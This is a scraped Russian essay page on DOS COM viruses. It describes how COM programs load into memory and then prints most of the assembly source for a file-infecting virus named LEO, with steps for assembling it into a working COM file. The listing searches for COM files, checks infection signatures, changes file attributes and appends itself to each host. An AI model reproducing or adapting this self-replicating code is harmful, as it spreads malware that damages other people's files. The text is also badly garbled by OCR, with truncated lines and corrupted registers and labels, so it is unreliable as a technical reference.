Главная Рефераты по рекламе Рефераты по физике Рефераты по философии Рефераты по финансам Рефераты по химии Рефераты по хозяйственному праву Рефераты по цифровым устройствам Рефераты по экологическому праву Рефераты по экономико-математическому моделированию Рефераты по экономической географии Рефераты по экономической теории Рефераты по этике Рефераты по юриспруденции Рефераты по языковедению Рефераты по юридическим наукам Рефераты по истории Рефераты по компьютерным наукам Рефераты по медицинским наукам Рефераты по финансовым наукам Рефераты по управленческим наукам Психология и педагогика Промышленность производство Биология и химия Языкознание филология Издательское дело и полиграфия Рефераты по краеведению и этнографии Рефераты по религии и мифологии Рефераты по медицине Рефераты по сексологии Рефераты по информатике программированию Краткое содержание произведений |
Доклад: СОМ-вирусыДоклад: СОМ-вирусыВИРУСЫ В этой главе рассказано об ал- 10 СОМ-вирусы Компьютерные вирусы могут "гнездиться" в самых неожиданных мес- Структура и процесс загрузки СОМ-программы Что же представляет собой СОМ-программа, как она загружается Структура СОМ-программы предельно проста - она содержит только И еще два понятия, которые часто будут встречаться: Program Segment Prefix (PSP) - область памяти размером 256 (OlOOh) Disk Transfer Address (DTA) - блок данных, содержащий адреса обмена Загрузка СОМ-программы в память и ее запуск происходят так: 1. Определяется сегментный адрес свободного участка памяти доста- 2. Создается и заполняется блок памяти для переменных среды. 3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP; сегментЮЮОЬ - программа). В поля PSP заносятся соответствую- 4. Устанавливается адрес DTA равным PSP:0080h. 5. Загружается СОМ-файл с адреса PSP:0100h. 6. Значение регистра АХ устанавливается в соответствии с парамет- 7. Регистры DS, ES и SS устанавливаются на сегмент PSP и програм- 8. Регистр SP устанавливается на конец сегмента, после чего в стек за- 9. Происходит запуск программы с адреса PSP:0100h. СОМ-программа всегда состоит из одного сегмента и запускается со Простейший СОМ-вирус В начале СОМ-файла обычно находится команда безусловного перехода После загрузки зараженного файла управление получает вирус. Закон- Что же делает рассматриваемый вирус? После старта он ищет в теку-
Тело вируса записывается в конец файла, Рис. 1.1. ;Ищем первый файл по шаблону имени mov dx,offset fname - offset myself Затем вирус проверяет (по первому байту файла), подходят ли ему най- [Открываем файл mov ax,3D02h mov dx,9Eh int 21h ;Если при открытии файла ошибок не произошло, jnc See_Him jmp exit ; Читаем первый байт файла xchg bx,ax mov ah,3Fh mov dx,offset buf-offset myself add dx.bp xor ex,ex ;CX=0
inc ex [(увеличение на 1) СХ=1 Сравниваем. Если первый байт файла ;не E9h, то переходим к поиску следующего .файла - этот для заражения не подходит cmp byte ptr [bp+(offset buf-offset myself )],OE9h jne find_next Перед заражением файла вирус проверяет сигнатуру - не исключено, Переходим в конец файла (на последний байт) mov dx,[bp+(offset flen-offset MySelf)] ;Читаем сигнатуру вируса mov ah,3Fh xor ex,ex inc ex mov dx.offset bytik-offset myself add dx.bp int 21h .Если при чтении файла ошибок не произошло, [Проверяем сигнатуру, ;иначе ищем следующий файл jnc test_bytik jmp find_next [Проверяем сигнатуру cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte ;Если сигнатура есть, то ищем другой файл, je find_next2 jmp NotJnfected Затем, в соответствии с предложенной схемой, вирус дописывается [Переходим в конец файла Останавливаем регистр DS на сегмент кода [Копируем вирус в файл mov cx.offset VirEnd-offset la sub dx,offset myself-offset la [Записываем в начало файла переход на тело вируса .Переходим в начало файла [Записываем первые три байта файла (переход на тело вируса) mov dx, offset jmpvir-offset myself После того, как вирус закончит свою работу, он восстанавливает вирус может спокойно существовать, будучи один раз выпущенным Как запустить вирус? В любом текстовом редакторе создается файл tasm.exe leo.asm В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус. .286 .Устанавливаем тип процессора [Указываем, что регистры CS и DS содержат ;Начало сегмента кода. В конце программы сегмент кода нужно Останавливаем смещения в сегменте кода. Данная строчка обязательна ;для СОМ-программы (все СОМ-программы начинаются с адреса 100h) org 100h start: ;Имитируем зараженный СОМ-файл. db OE9h ;Код команды JMP dw offset la-offset real [Выходим из программы ;3десь начинается тело вируса ;Сохраняем регистры и флаги .Получаем точку входа. ;Для этого вызываем подпрограмму (следующий ;за вызовом адрес) и читаем из стека адрес возврата call MySelf pop bp восстанавливаем первые три байта исходной программы [Дальнейшая задача вируса - найти новую жертву. ;Для этого используется функция 4Eh (Найти первый файл). ;Ищем файл с любыми атрибутами Find_First: .Ищем первый файл по шаблону имени mov dx.offset fname-offset myself mov cx,00100111b ;Если файл найден - переходим к смене атрибутов, иначе выходим jnc attributes jmp exit .Читаем оригинальные атрибуты файла mov dx,9Eh .Адрес имени файла .Сохраняем оригинальные атрибуты файла •.Устанавливаем новые атрибуты файла mov dx,9Eh .Адрес имени файла Переходим к открытию файла ;Ищем следующий файл, так как предыдущий не подходит ;Восстанавливаем оригинальные атрибуты файла mov dx,9Eh ;Адрес имени файла [Закрываем файл ;Ищем следующий файл ;Если файл найден - переходим к смене атрибутов, иначе выходим jnc attributes jmp exit .-Открываем файл mov ax,3D02h mov dx,9Eh int 21 h ;Если при открытии файла ошибок не произошло - jnc See_Him jmp exit ;Читаем первый байт файла xchg bx.ax mov ah,3Fh mov dx.offset buf-offset myself add dx,bp xor ex,ex ;CX=0 inc ex [(увеличение на 1) СХ=1 int 21 h .Сравниваем. Если первый байт файла ;не E9h, то переходим к поиску следующего файла - ;этот для заражения не подходит cmp byte ptr [bp+(offset buf-offset myself )],OE9h jne find_next ; Переходим в начало файла [Читаем первые три байта файла в тело вируса mov ah,3Fh mov dx,offset bytes_3-offset myself add dx.bp mov cx,3 int 21 h .Получаем длину файла, для чего переходим в конец файла mov ax,4202h xor ex,ex xor dx.dx int 21h ;Сохраняем полученную длину файла mov [bp+(offset flen-offset MySelf)],ax [Проверяем длину файла ;Если файл не больше 64000 байт,- переходим ;к следующей проверке, ;иначе ищем другой файл (этот слишком велик для заражения) jna richJest jmp find_next Проверим, не заражен ли файл. [Переходим в конец файла (на последний байт) mov dx,[bp+(offset flen-offset MySelf)] ;Читаем сигнатуру вируса mov ah,3Fh xor ex,ex inc ex mov dx,offset bytik-offset myself add dx.bp ;Если при чтении файла ошибок ;не произошло - проверяем сигнатуру, .иначе ищем следующий файл jnc test_bytik jmp tind_next ;Проверяем сигнатуру cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte ;Если сигнатура есть, то ищем другой файл, jne NotJnfected jmp find_next .Файл не заражен - будем заражать mov ax,[bp+(offset flen-offset myself)] sub ax,03h mov [bp+(offset jmp_cmd-offset myself)],ax .Переходим в конец файла [Устанавливаем регистр DS на сегмент кода .Копируем вирус в файл mov ex,offset VirEnd-offset la sub dx,offset myself-offset la Записываем в начало файла переход на тело вируса .Переходим в начало файла [Записываем первые три байта файла (переход на тело вируса) mov dx.offset jmpvir-offset myself ;3акрываем файл mov ah,3Eh int 21h ;Восстанавливаем оригинальные атрибуты файла mov ax,4301h mov dx,9Eh pop ex int 21h восстанавливаем первоначальные значения регистров и флагов Передаем управление программе-носителю -.Байт для чтения сигнатуры .Зарезервировано для изменения трех байт вируса ;Длина файла ;Шаблон для поиска файлов ;0бласть для хранения команды перехода ;Байт памяти для чтения первого байта файла ;Название вируса ;Сигнатура a db CheckByte VirEnd: code ends end start Способы внедрения СОМ-вирусов Рассмотренный вирус дописывался в конец файла, а в начало файла Рассмотрим два варианта внедрения СОМ-вируса в начало файла.
Рис. 1.3. При загрузке зараженного таким способом файла управление получит Второй вариант отличается от первого тем, что вирус, освобождая для После запуска зараженной программы, как и в предыдущем случае,
программы, переносит к адресу OlOOh все тело программы, а не только Существуют разновидности вирусов, не дописывающие часть своего |
|
|